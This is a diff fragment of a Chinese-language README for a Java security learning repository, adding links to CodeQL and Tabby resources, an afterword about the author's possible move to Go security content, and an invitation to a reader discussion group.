[CodeQL 官方文档学习](https://drun1baby.top/2023/07/31/CodeQL-%E5%AD%A6%E4%B9%A0/)
[用CodeQL分析漏洞_CVE-2022-42889 | l3yx's blog](https://l3yx.github.io/2022/12/17/用CodeQL分析漏洞-CVE-2022-42889/)
+## 漏洞挖掘
+Tabby 的使用:https://github.com/wh1t3p1g/tabby
-
-
-
+## 后记
+感觉现在 go 用的真的很多,java 系列可能暂时断更了,或许在不久的将来会出一个 golangSecurityLearning
-
\ No newline at end of file
+
+
+- 交流群
+
+随着点 Star 的师傅越来越多,希望给师傅们提供一个交流的平台
+同时平常有一些师傅会加我好友问问题,问的人越来越多,于是决定建个群,也可以让师傅们在群里交流。(希望以后会写 golang 的 SecurityLearning)
+
+> 可加 VX DrunkbabySec
+
+
+
+
+
+
+
+
+
+
+
+
+
+